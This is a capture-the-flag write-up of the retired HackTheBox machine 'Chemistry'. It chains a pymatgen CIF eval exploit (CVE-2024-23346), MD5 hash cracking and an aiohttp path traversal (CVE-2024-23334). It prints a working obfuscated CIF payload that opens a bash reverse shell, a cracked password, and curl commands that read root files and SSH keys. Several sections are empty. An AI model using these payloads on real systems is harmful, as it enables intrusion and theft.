~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / chemistry.md

chemistry

Linux · Easy · released 2024-10-19 · retired 2025-03-08

Summary

Chemistry is an Easy Linux box on CVE-2024-23346 (pymatgen’s CIF parser passes user input to eval() in symmetry transform parsing). Upload a malicious .cif → RCE as app user. SQLite DB has unsalted MD5 → rosa : unicorniosrosados → SSH. Privesc: localhost monitoring site on :8080 runs aiohttp 3.9.1 (root) with follow_symlinks=True on a static handler → CVE-2024-23334 path traversal → read /root/.ssh/id_rsa.

The chain:

  1. CIF analyzer at :5000. Build a CIF whose _space_group_magn.transform_BNS_Pp_abc field is a Python expression that pymatgen eval’s. Reverse shell as app.
  2. SQLite at ~app/instance/database.db → MD5 hashes → rosa : unicorniosrosados. SSH.
  3. :8080 aiohttp 3.9.1 monitoring app with follow_symlinks=True on its /assets static handler. curl --path-as-is against /assets/../../../../root/root.txt (or /root/.ssh/id_rsa) reads anything as root — root.txt directly, no SSH key dance needed.

Recon

22/tcp     OpenSSH
5000/tcp   Flask "Chemistry CIF Analyzer"
8080/tcp   localhost-only aiohttp 3.9.1 (root monitoring)

Foothold — CVE-2024-23346 (pymatgen CIF eval)

The trigger is picky in two ways that an “obvious” PoC misses:

  1. Do not include a _space_group_symop_magn_operation loop. If present, CifParser.get_magsymops() takes the alternate branch and never calls MagneticSpaceGroup(id, jf) — the transform string is not parsed and the eval never fires.
  2. Inline the obfuscated __subclasses__ access. A naïve __import__('os').system(...) payload returned 500 with no shell for me; the canonical 4xura.com CIF threads the call through ().__class__.__mro__[1].__getattribute__(*[(...)]+["__sub" + "classes__"])() to reach BuiltinImporter and load os from there. That version fires reliably.

The CIF itself must also be a valid structure (so pymatgen reaches the magnetic block); reusing static/example.cif as the base avoids the structural-parse 500.

data_Example
_cell_length_a    10.00000
_cell_length_b    10.00000
_cell_length_c    10.00000
_cell_angle_alpha 90.00000
_cell_angle_beta  90.00000
_cell_angle_gamma 90.00000
_symmetry_space_group_name_H-M 'P 1'
loop_
 _atom_site_label
 _atom_site_fract_x
 _atom_site_fract_y
 _atom_site_fract_z
 _atom_site_occupancy
 H 0.00000 0.00000 0.00000 1
 O 0.50000 0.50000 0.50000 1

_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__ ( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0].load_module ("os").system ("/bin/bash -c \'sh -i >& /dev/tcp/<C2>/<p> 0>&1\'");0,0,0'
_space_group_magn.number_BNS  62.448
_space_group_magn.name_BNS  "P  n'  m  a'  "

Register at /register, log in, POST /upload with the file, then GET /structure/<uuid> (the dashboard’s “View structure” link). The structure view returns 500 — that’s expected, the parser dies after the eval has already fired. Reverse shell lands as app.

User pivot — SQLite + MD5

$ sqlite3 ~app/instance/database.db "SELECT username,password FROM user;"
...
rosa|63ed86ee9f624c7b14f1d4f43dc251a5
# unsalted MD5; CrackStation -> unicorniosrosados
$ ssh rosa@<TARGET>
rosa$ ss -tlnp | grep 8080
LISTEN ... 127.0.0.1:8080  ... aiohttp/3.9.1 (root)

# The static handler mounts at /assets (not /static) — feed the
# traversal directly to curl with --path-as-is so it doesn't
# normalise away the ../ segments.
rosa$ curl -s --path-as-is 'http://127.0.0.1:8080/assets/../../../../root/root.txt'
<root flag>
rosa$ curl -s --path-as-is 'http://127.0.0.1:8080/assets/../../../../root/.ssh/id_rsa'
-----BEGIN OPENSSH PRIVATE KEY-----
...

Reading /root/root.txt directly via the traversal lands the flag without ever needing the SSH key — useful when the goal is just the flag. The id_rsa path is still worth grabbing for follow-up access.

ssh -i id_rsa root@<TARGET>

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.

← all htb machines hackthebox.com ↗